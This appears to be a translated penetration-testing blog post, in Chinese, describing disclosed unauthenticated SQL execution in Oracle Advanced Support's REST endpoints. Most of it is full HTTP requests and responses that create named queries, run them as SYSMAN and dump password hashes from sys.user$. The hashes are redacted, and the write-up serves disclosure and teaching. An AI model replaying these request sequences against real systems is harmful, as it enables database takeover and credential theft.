Oracle Advanced Support系統(tǒng)SQL注入漏洞挖掘經(jīng)驗(yàn)分享
Oracle Advanced Support系統(tǒng)SQL注入漏洞分析
一年多前我在客戶的一個(gè)外部環(huán)境中執(zhí)行滲透測(cè)試,任何外部環(huán)境滲透測(cè)試的重要步驟之一就是挖掘出可訪問(wèn)的WEB服務(wù)。nmap和EveWitness的結(jié)合會(huì)令這步驟變得更快,因?yàn)槲覀兛梢赃M(jìn)行端口掃描 并且把這些結(jié)果以屏幕截圖的形式導(dǎo)入到 EyeWitness中。當(dāng)梳理完 EyeWitness提供的屏幕截圖頁(yè)面后,我發(fā)現(xiàn)了一個(gè)Oracle 高級(jí)支持服務(wù)。
雖然我之前從沒(méi)聽(tīng)過(guò)Oracle Advanced Support,但是當(dāng)我很快的google完之后,我了解到它似乎是一個(gè)允許oracle的技術(shù)支持在外部登入,并且在oracle系統(tǒng)環(huán)境下進(jìn)行任何技術(shù)支持需要的操作的服務(wù)。有了這個(gè)信息之后, 我們可以將現(xiàn)有的web應(yīng)用測(cè)試與它結(jié)合起來(lái)。
我們可以對(duì)這個(gè)應(yīng)用開(kāi)始進(jìn)行一些簡(jiǎn)單的偵查,包括:
- 尋找已經(jīng)被爆出的漏洞
- 用burp爬取應(yīng)用
- 枚舉常見(jiàn)的路徑
- 查看可獲取的頁(yè)面的源碼
幸運(yùn)的是,我在主頁(yè)的源碼中發(fā)現(xiàn)了 一個(gè)包含資產(chǎn)目錄清單的鏈接。
對(duì)于像這樣一個(gè)未知的應(yīng)用,目錄列表是很有用的,它給我們了一些希望去發(fā)現(xiàn)一些很有趣 但不應(yīng)該被訪問(wèn)到的東西 。果不其然的在搜尋每個(gè)目錄之后,我偶然發(fā)現(xiàn)了以下的javascript文件:
讓它變得更適合閱讀一些

在Web滲透測(cè)試中,其中一個(gè)我喜歡的并且常常忽視的事情是查找應(yīng)用中的javascript文件, 并且看看他們是否支持任何POST 或者是GET請(qǐng)求。
我們已經(jīng)發(fā)現(xiàn)了一個(gè)叫做sql-service.js的javascript文件,這讓我立刻在腦海中提高起警覺(jué)來(lái)。這個(gè)文件包含4個(gè)匿名函數(shù)其中三個(gè)t.getJSON方法的GET請(qǐng)求和一個(gè)t.post方法的POST請(qǐng)求。這些函數(shù)包含如下一些變量:
- getSqlData
- createNamedSql
- getNamedSqlList
- getSqlNameList
在這篇文章的剩余部分,我將提及匿名函數(shù)中的變量。
每個(gè)函數(shù)的根節(jié)點(diǎn)都位于/rest/data路徑下。
接下來(lái)是將他們拆分之后的請(qǐng)求:
- GET /rest/data/sql
- POST /rest/data/sql
- GET /rest/data/sql_list
- GET /rest/data/sql_name_list
有了這些之后,開(kāi)始拿出我最喜歡的代理工具:burp,看看會(huì)發(fā)生什么!
直搗黃龍
我首先嘗試的是來(lái)自于getSqlData函數(shù)路徑是/rest/data/sql的GET請(qǐng)求。我們也通過(guò)觀察javascript發(fā)現(xiàn)這個(gè)請(qǐng)求需要附加一個(gè)參數(shù),讓我們?cè)诮Y(jié)尾加上”test”.
- HTTP Request:
- GET /rest/data/sql/test HTTP/1.1 Host: host Connection: close Accept: application/json;charset=UTF-8 Accept-Encoding: gzip, deflate, sdch Accept-Language: en-US,en;q=0.8 Content-Type: application/json Content-Length: 0
- HTTP Response:
- HTTP/1.1 404 Not Found Content-Type: application/json Content-Length: 20 Connection: close Named SQL not found.
當(dāng)我們把”test”加到請(qǐng)求url的末尾,服務(wù)器返回了404。同時(shí)服務(wù)器也返回了這樣一個(gè)信息:Named SQL not found。如果我們嘗試”test”之外的其他字符串,得到了同樣的返回信息。我們把這個(gè)請(qǐng)求發(fā)到Burp 的 intruder模塊,打算試圖過(guò)一個(gè)目錄列表字典來(lái)枚舉潛在的參數(shù)名,看看是否能得到除了404之外的返回。但是有一個(gè)更簡(jiǎn)單的方法來(lái)找到合適的參數(shù)名。如果我們?cè)俅尾榭磈avascript,你會(huì)發(fā)現(xiàn)函數(shù)的名稱給我們一些有價(jià)值的信息。我們?cè)谝韵潞瘮?shù)中發(fā)現(xiàn)了兩個(gè)GET請(qǐng)求:getNamedSqlList 和 getSqlNameList.。我們剛才的請(qǐng)求返回的錯(cuò)誤信息是 Named SQL not found error。讓我們嘗試針對(duì)getNamedSqlList函數(shù)的GET請(qǐng)求。
- HTTP Request:
- GET /rest/data/sql_list HTTP/1.1
- Host: host
- Connection: close
- Accept: application/json;charset=UTF-8
- Accept-Encoding: gzip, deflate, sdch
- Accept-Language: en-US,en;q=0.8
- Content-Type: application/json
- Content-Length: 0
- HTTP Response:
- HTTP/1.1 200 OK
- Content-Type: application/json; charset=UTF-8
- Connection: close
- Content-Length: 243633
- [{"id":1,"name":"sample","sql":"SELECT TIME,CPU_UTILIZATION,MEMORY_UTILIZATION FROM TIME_REPORT where TIME > :time","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":36,"name":"time","type":"date-time","value":null}]},{"id":2,"name":"cpu_only","sql":"SELECT TIME,CPU_UTILIZATION FROM TIME_REPORT","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[]},{"id":3,"name":"simple_param","sql":"SELECT TIME,CPU_USAGE FROM CPU_MONITOR WHERE CPU_USAGE < ?","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":1,"name":"cpu_usage","type":"int","value":null}]},{"id":4,"name":"double_param","sql":"SELECT TIME,CPU_USAGE FROM CPU_MONITOR WHERE CPU_USAGE between ? and ?","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":2,"name":"cpu_low","type":"int","value":null},{"id":3,"name":"cpu_high","type":"int","value":null}]},{"id":5,"name":"by_time","sql":"select time, cpu_usage from CPU_MONITOR where time(time) > ?","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":4,"name":"time","type":"string","value":null}]},{"id":10,"name":"tableTransferMethod","sql":"SELECT result_text, result_value FROM MIG_RPT_TABLE_TRANSFER_METHOD WHERE scenario_id = :scenario_id AND package_run_id = :pkg_run_id AND engagement_id = :engagement_id","dataSourceJNDI":"jdbc/acscloud","privileges":[],"paramList":[{"id":5,"name":"scenario_id","type":"int","value":null},{"id":6,"name":"pkg_run_id","type":"string","value":null},{"id":7,"name":"engagement_id","type":"int","value":null}]},{"id":16,"name":"dataTransferVolumes","sql":"select RESULT_TEXT,\n RESULT_VALUE\nfrom MIG_RPT_DATA_TRANSFER_VOLUME\nwhere scenario_id = :scenario_id\nAND package_run_id = :pkg_run_id\nAND engagement_id = :engagement_id","dataSourceJNDI":"jdbc/acscloud","privileges":[],"paramList":[{"id":8,"name":"scenario_id","type":"int","value":null},{"id":9,"name":"pkg_run_id","type":"string","value":null},{"id":10,"name":"engagement_id","type":"int","value":null}]},{"id":17,"name":"dataCompressionPercentage","sql":"SELECT RESULT_TEXT,\n RESULT_VALUE\nFROM MIG_RPT_DATA_COMPRESSION_PCT\nWHERE scenario_id = :scenario_id\nAND package_run_id = :pkg_run_id\nAND engagement_id =
- …
這的確給了我們不少的信息,讓我們仔細(xì)分析一下,我們獲得了一組json對(duì)象,看一下數(shù)組中的第一個(gè)對(duì)象:
- {"id":1,"name":"sample","sql":"SELECT TIME,CPU_UTILIZATION,MEMORY_UTILIZATION FROM TIME_REPORT where TIME > :time","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":36,"name":"time","type":"date-time","value":null}]}
我們發(fā)現(xiàn)了以下的屬性:name, sql, dataSourceJNDI, privileges, and paramList,其中 sql屬性是我最感興趣的因?yàn)樗司哂凶址档腟QL語(yǔ)句。我們把name的值放進(jìn)先前嘗試的GET請(qǐng)求中。
- HTTP Request:
- GET /rest/data/sql/sample HTTP/1.1
- Host: host
- Connection: close
- Accept: application/json;charset=UTF-8
- Accept-Encoding: gzip, deflate, sdch
- Accept-Language: en-US,en;q=0.8
- Content-Type: application/json;charset=UTF-8
- Content-Length: 0
- HTTP Response:
- HTTP/1.1 400 Bad Request
- Content-Type: application/json
- Content-Length: 44
- Connection: close
- Bad Request.Param value not defined for time
Hey!我們得到一些返回!但是我們少了一個(gè)參數(shù),讓我們加進(jìn)來(lái)。
- HTTP Request:
- GET /rest/data/sql/sample?time=1 HTTP/1.1
- Host: host
- Connection: close
- Accept: application/json;charset=UTF-8
- Accept-Encoding: gzip, deflate, sdch
- Accept-Language: en-US,en;q=0.8
- Content-Type: application/json;charset=UTF-8
- Content-Length: 0
- HTTP Response:
- HTTP/1.1 200 OK
- Content-Type: application/json; charset=UTF-8
- Content-Length: 2
- Connection: close
雖然沒(méi)有從服務(wù)器獲得任何返回,但是也沒(méi)有返回任何錯(cuò)誤!難道是例子中的SQL語(yǔ)句被執(zhí)行了,只是沒(méi)有回顯?我們可以繼續(xù)嘗試其他的從先前請(qǐng)求中獲得的names,但是我們看一下原始的javascript。我們發(fā)現(xiàn)有一個(gè)叫做createNamedSQL的函數(shù),它是一個(gè)POST的請(qǐng)求。我們知道來(lái)至于getNamedSqlList 的請(qǐng)求的返回值包含了sql語(yǔ)句的值。也許是這個(gè)post請(qǐng)求會(huì)允許我們?cè)诜?wù)器上 執(zhí)行sql查詢。我們?cè)囈幌?
SQL Execution
這就是createNamedSQL中在包體里面包含一個(gè)空json對(duì)象的POST請(qǐng)求:
- HTTP Request:
- POST /rest/data/sql HTTP/1.1
- Host: host
- Connection: close
- Accept: application/json;charset=UTF-8
- Accept-Encoding: gzip, deflate, sdch
- Accept-Language: en-US,en;q=0.8
- Content-Type: application/json
- Content-Length: 0
- {}
- HTTP Response:
- HTTP/1.1 500 Internal Server Error
- Content-Type: text/html
- Content-Length: 71
- Connection: close
- A system error has occurred: Column 'SQL_NAME' cannot be null [X64Q53Q]
我們得到一個(gè)關(guān)于SQL_NAME列的錯(cuò)誤,當(dāng)我們?cè)诎w中包含空的json對(duì)象時(shí)這不是很意外。現(xiàn)在我們?cè)诎w里加入一個(gè)隨機(jī)的屬性名和數(shù)值。
- HTTP Request:
- POST /rest/data/sql HTTP/1.1
- Host: host
- Connection: close
- Accept-Encoding: gzip, deflate, sdch
- Accept-Language: en-US,en;q=0.8
- Content-Length: 16
- Content-Type: application/json;charset=UTF-8
- {"test":1}
- HTTP Response:
- HTTP/1.1 400 Bad Request
- Content-Type: text/plain
- Content-Length: 365
- Connection: close
- Unrecognized field "test" (class com.oracle.acs.gateway.model.NamedSQL), not marked as ignorable (6 known properties: "privileges", "id", "paramList", "name", "sql", "dataSourceJNDI"])
- at [Source: org.glassfish.jersey.message.internal.EntityInputStream@1c2f9d9d; line: 1, column: 14] (through reference chain: com.oracle.acs.gateway.model.NamedSQL["SQL_NAME"])
再一次不意外的獲得了一個(gè)關(guān)于未知“test”字段的bad request,但是如果你注意的話,這個(gè)錯(cuò)誤的信息給我們返回了一些有用的屬性。感謝 Oracle先生的服務(wù)!這些屬性也同樣出現(xiàn)了從getNamedSqlList發(fā)出請(qǐng)求獲得的返回中。我使用getNamedSqlList請(qǐng)求的返回中其中的一個(gè)值賦給dataSourceJNDI屬性。
- HTTP Request:
- POST /rest/data/sql HTTP/1.1
- Host: host
- Connection: close
- Accept-Encoding: gzip, deflate, sdch
- Accept-Language: en-US,en;q=0.8
- Content-Length: 101
- Content-Type: application/json;charset=UTF-8
- {
- "name": "test",
- "sql":"select @@version",
- "dataSourceJNDI":"jdbc/portal"
- }
這看起來(lái)是一個(gè)很好的測(cè)試請(qǐng)求,我們來(lái)見(jiàn)證一下 他是否有效。
- HTTP Response:
- HTTP/1.1 500 Internal Server Error
- Content-Type: text/plain
- Content-Length: 200
- Connection: close
- A system error has occurred: MessageBodyWriter not found for media type=text/plain, type=class com.oracle.acs.gateway.model.NamedSQL, genericType=class com.oracle.acs.gateway.model.NamedSQL. [S2VF2VI]
我們?nèi)匀粡姆?wù)器獲得了一個(gè)錯(cuò)誤返回,但是只返回了content-type。SQL語(yǔ)句可能已經(jīng)被創(chuàng)建了。通過(guò)把名稱字段設(shè)為“test”, 讓我們嘗試第一個(gè)具有參數(shù)的GET請(qǐng)求。
- HTTP Request:
- GET /rest/data/sql/test HTTP/1.1
- Host: host
- Connection: close
- Accept: application/json;charset=UTF-8
- Accept-Encoding: gzip, deflate, sdch
- Accept-Language: en-US,en;q=0.8
- Content-Type: application/json;charset=UTF-8
- Content-Length: 0
- HTTP Response:
- HTTP/1.1 200 OK
- Content-Type: application/json; charset=UTF-8
- Content-Length: 24
- Connection: close
- [{"@@version":"5.5.37"}]
看這里!我們獲得了一些SQL執(zhí)行。
看一下“我們”是誰(shuí)。
- HTTP Request:
- POST /rest/data/sql HTTP/1.1
- Host: host
- Connection: close
- Accept: */*
- Accept-Encoding: gzip, deflate, sdch
- Accept-Language: en-US,en;q=0.8
- Content-Length: 101
- Content-Type: application/json;charset=UTF-8
- {
- "name": "test2",
- "sql":"SELECT USER from dual;",
- "dataSourceJNDI":"jdbc/portal"
- }
- HTTP Request:
- GET /rest/data/sql/test2 HTTP/1.1
- Host: host
- Connection: close
- Accept: application/json;charset=UTF-8
- Accept-Encoding: gzip, deflate, sdch
- Accept-Language: en-US,en;q=0.8
- Content-Type: application/json;charset=UTF-8
- Content-Length: 0
- HTTP Response:
- HTTP/1.1 200 OK
- Content-Type: application/json; charset=UTF-8
- Content-Length: 19
- Connection: close
- [{"USER":"SYSMAN"}]
看起來(lái)我們是SYSMAN 用戶。通過(guò)這個(gè)oracal 文檔(https://docs.oracle.com/cd/B16351_01/doc/server.102/b14196/users_secure001.htm) 知道,我們就是administrator.
試一下 我們能否抓取出用戶的哈希.
- HTTP Request:
- POST /rest/data/sql HTTP/1.1
- Host: host
- Connection: close
- Accept: */*
- Accept-Encoding: gzip, deflate, sdch
- Accept-Language: en-US,en;q=0.8
- Content-Length: 120
- Content-Type: application/json;charset=UTF-8
- {
- "name": "test3",
- "sql":"SELECT name, password FROM sys.user$",
- "dataSourceJNDI":"jdbc/portal"
- }
- HTTP Request:
- GET /rest/data/sql/test3 HTTP/1.1
- Host: host
- Connection: close
- Accept: application/json;charset=UTF-8
- Accept-Encoding: gzip, deflate, sdch
- Accept-Language: en-US,en;q=0.8
- Content-Type: application/json;charset=UTF-8
- Content-Length: 0
- HTTP Response:
- HTTP/1.1 200 OK
- Content-Type: application/json; charset=UTF-8
- Content-Length: 5357
- Connection: close
- [{"NAME":"SYS","PASSWORD":"[REDACTED]"},{"NAME":"PUBLIC","PASSWORD":null},{"NAME":"CONNECT","PASSWORD":null},{"NAME":"RESOURCE","PASSWORD":null},{"NAME":"DBA","PASSWORD":null},{"NAME":"SYSTEM","PASSWORD":"[REDACTED]"},{"NAME":"SELECT_CATALOG_ROLE","PASSWORD":null},{"NAME":"EXECUTE_CATALOG_ROLE","PASSWORD":null}
- …
我們可以獲得數(shù)據(jù)庫(kù)中的用戶密碼的哈希值。我編輯和刪除了主要的部分。知道了我們是一個(gè)具有administrator權(quán)限的用戶,當(dāng)然后續(xù)我們還可以做很多事情。然而,針對(duì)此博客的目的,我停止下來(lái)了。
結(jié)論
關(guān)于這個(gè)匿名sql執(zhí)行我聯(lián)系了oracle,他們很快的回復(fù)并且修復(fù)了這個(gè)問(wèn)題。對(duì)我而言真正的問(wèn)題是為什么web服務(wù)壓根兒就允許sql語(yǔ)句被執(zhí)行呢?
這個(gè)博客最大的收獲是一定要看應(yīng)用中的javascript文件。在多個(gè)web應(yīng)用和外網(wǎng)的滲透測(cè)試中,我已經(jīng)發(fā)現(xiàn)了隱藏在javascript文件中sql 注入,命令執(zhí)行,和 xml實(shí)體注入攻擊。
作為針對(duì)熟練滲透測(cè)試者的練習(xí)任務(wù),看完這篇博客并且統(tǒng)計(jì)多少個(gè)你能確定的漏洞。提示:超過(guò)三處。


























